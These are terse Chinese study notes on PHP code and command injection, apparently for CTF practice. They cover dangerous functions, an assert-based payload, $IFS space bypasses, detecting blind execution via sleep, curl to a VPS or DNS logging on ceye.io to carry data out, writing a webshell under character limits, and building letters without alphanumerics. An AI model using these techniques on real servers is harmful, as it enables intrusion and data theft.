代码执行相关函数以及简单的例题讲解
由于没有针对代码中可以执行的特殊函数入口做过滤,导致用户可以提交恶意的语句,并且交给服务器执行。代码/命令注入攻击中web服务器没有过滤类似 system(),eval(),exec()等函数的传入参数是该漏洞攻击成功的主要原因
蚁剑支持php7,菜刀有时候不支持出现500的错误。
区别:
代码注入:
直接echo是不会输出 ,用eval包含就可以输出,和环境相关
没有替换不会执行代码执行
1[]=phpinfo()&1[]=&2=assert
命令执行相关函数以及各类命令执行绕过
exec获取的是最后一行内容,输出全部数据使用passthru()函数,
ifconfig最后一行是空。
只有能控制a得值才能生效 如果是在单双引号之间是没有效果得。
php 7是没有用的
命令执行绕过的技巧
命令执行的分隔符
命令执行的空格代替
cat$IFS‘exec.php’
命令执行的一些绕过
命令无回显的状况
判断:
延迟: ls|sleep 3
http请求: vps nc监听端口 使用curl 请求vps端口
dns: cecy.io/records/dns
平台,然后使用三级域名解析
利用:
写入shell(直接写入\外部下载 curL)
http/dns等方式带出数据
cp where_is_flag.php 1.txt
cat where_is_flag.php|sed s/[[:space:]]//
.php.wzrtbq.ceye.io
flag文件不能存在一个换行符
十五个字符可控的命令执行
思路: 分割shell
然后使用mv 1 1.php getshell
七个字符getshell
ls>a
文件名写入a 但是顺序不可控制
五个字符写入shell
四个字符
通配符 * 直接运行当前下面的文件名组成的命令。
无数字字母的命令执行相关例题
无字母生成字母??
将非字母、数字的字符经过各种变换,最后能构造出a-z中任意一个字符。
异或是一种方法: 生成字母
取反:
自增:只能字母自增